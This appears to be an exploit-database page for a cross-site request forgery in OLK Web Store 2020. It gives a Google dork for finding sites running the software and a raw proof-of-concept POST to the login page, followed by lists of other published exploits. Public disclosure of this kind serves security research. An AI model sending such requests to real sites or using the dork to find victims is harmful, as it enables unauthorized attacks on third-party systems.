Menu

Search for hundreds of thousands of exploits

"OLK Web Store 2020 - Cross-Site Request Forgery"

Author

Exploit author

"Joel Aviad Ossi"

Platform

Exploit platform

asp

Release date

Exploit published date

2020-01-24

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Exploit Title: OLK Web Store 2020 - Cross-Site Request Forgery
# Google Dork: intext:"TopManage ® 2002 - 2020"
# Date: 2020-01-13
# Exploit Author: Joel Aviad Ossi
# Vendor Homepage: http://www.topmanage.com/
# Software Link: http://www.topmanage.com/microsites/olk-web-store/
# Version: 2020
# Tested on: N/A
# CVE : N/A

# Reference: https://websec.nl/news.php 

POST /olk/client/login.asp HTTP/1.1
Host: examplesite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: https://examplesite.com
Connection: close
Referer: https://examplesite.com/olk/client/login.asp?se=Y
Cookie: myLng=en; ASPSESSIONIDCGARQSCD=JGFFLBIAAKGBKANKLAPHMEDH
Upgrade-Insecure-Requests: 1

dbID=0&UserName=%22%3EPOC&Password=%22%3ECSRF&newLng=en&btnEnter=Enter&sHeight=400&other=
Release DateTitleTypePlatformAuthor
2020-04-03"AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH)"localwindowsHodorsec
2020-04-03"Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-04-02"DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)"localwindows"Paras Bhatia"
2020-04-01"DiskBoss 7.7.14 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-04-01"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)"localwindowsHodorsec
2020-03-31"Redis - Replication Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"SharePoint Workflows - XOML Injection (Metasploit)"remotewindowsMetasploit
2020-03-31"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-31"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
Release DateTitleTypePlatformAuthor
2020-03-16"Enhanced Multimedia Router 3.0.4.27 - Cross-Site Request Forgery (Add Admin)"webappsasp"Miguel Mendez Z"
2020-01-24"OLK Web Store 2020 - Cross-Site Request Forgery"webappsasp"Joel Aviad Ossi"
2019-12-18"Rumpus FTP Web File Manager 8.2.9.1 - Reflected Cross-Site Scripting"webappsasp"Harshit Shukla"
2019-11-18"Crystal Live HTTP Server 6.01 - Directory Traversal"webappsasp"numan türle"
2019-08-16"Web Wiz Forums 12.01 - 'PF' SQL Injection"webappsaspn1x_
2019-05-06"microASP (Portal+) CMS - 'pagina.phtml?explode_tree' SQL Injection"webappsasp"felipe andrian"
2019-02-12"Skyworth GPON HomeGateways and Optical Network Terminals - Stack Overflow"dosasp"Kaustubh G. Padwad"
2018-11-05"Advantech WebAccess SCADA 8.3.2 - Remote Code Execution"webappsasp"Chris Lyne"
2018-05-29"IssueTrak 7.0 - SQL Injection"webappsasp"Chris Anastasio"
2018-05-24"ASP.NET jVideo Kit - 'query' SQL Injection"webappsaspAkkuS
2018-05-16"totemomail Encryption Gateway 6.0.0 Build 371 - Cross-Site Request Forgery"webappsasp"Compass Security"
2018-03-30"Tenda FH303/A300 Firmware v5.07.68_EN - Remote DNS Change"webappsasp"Todor Donev"
2018-03-30"Tenda W3002R/A302/w309r Wireless Router v5.07.64_en - Remote DNS Change (PoC)"webappsasp"Todor Donev"
2018-03-30"Tenda W308R v2 Wireless Router 5.07.48 - Cookie Session Weakness Remote DNS Change"webappsasp"Todor Donev"
2018-03-30"Tenda W316R Wireless Router 5.07.50 - Remote DNS Change"webappsasp"Todor Donev"
2018-02-16"EPIC MyChart - X-Path Injection"webappsasp"Shayan S"
2017-09-22"JitBit HelpDesk < 9.0.2 - Authentication Bypass"webappsaspKc57
2017-09-18"Digileave 1.2 - Cross-Site Request Forgery (Update Admin)"webappsasp"Ihsan Sencan"
2017-09-18"DigiAffiliate 1.4 - Cross-Site Request Forgery (Update Admin)"webappsasp"Ihsan Sencan"
2017-09-18"Digirez 3.4 - Cross-Site Request Forgery (Update Admin)"webappsasp"Ihsan Sencan"
2017-09-13"ICAffiliateTracking 1.1 - Authentication Bypass"webappsasp"Ihsan Sencan"
2017-08-31"Sitefinity CMS 9.2 - Cross-Site Scripting"webappsasp"Pralhad Chaskar"
2017-06-05"Kronos Telestaff < 2.92EU29 - SQL Injection"webappsasp"Goran Tuzovic"
2016-09-15"Cisco EPC 3925 - Multiple Vulnerabilities"webappsasp"Patryk Bogdan"
2016-06-07"Cisco EPC 3928 - Multiple Vulnerabilities"webappsasp"Patryk Bogdan"
2016-06-06"Notilus Travel Solution Software 2012 R3 - SQL Injection"webappsasp"Alex Haynes"
2016-05-24"AfterLogic WebMail Pro ASP.NET 6.2.6 - Administrator Account Disclosure via XML External Entity Injection"webappsasp"Mehmet Ince"
2016-05-06"DotNetNuke 07.04.00 - Administration Authentication Bypass"webappsasp"Marios Nicolaides"
2016-02-22"Thru Managed File Transfer Portal 9.0.2 - SQL Injection"webappsasp"SySS GmbH"
2016-01-13"WhatsUp Gold 16.3 - Remote Code Execution"webappsasp"Matt Buzanowski"
Release DateTitleTypePlatformAuthor
2020-02-17"LabVantage 8.3 - Information Disclosure"webappsjava"Joel Aviad Ossi"
2020-01-24"OLK Web Store 2020 - Cross-Site Request Forgery"webappsasp"Joel Aviad Ossi"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47960/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse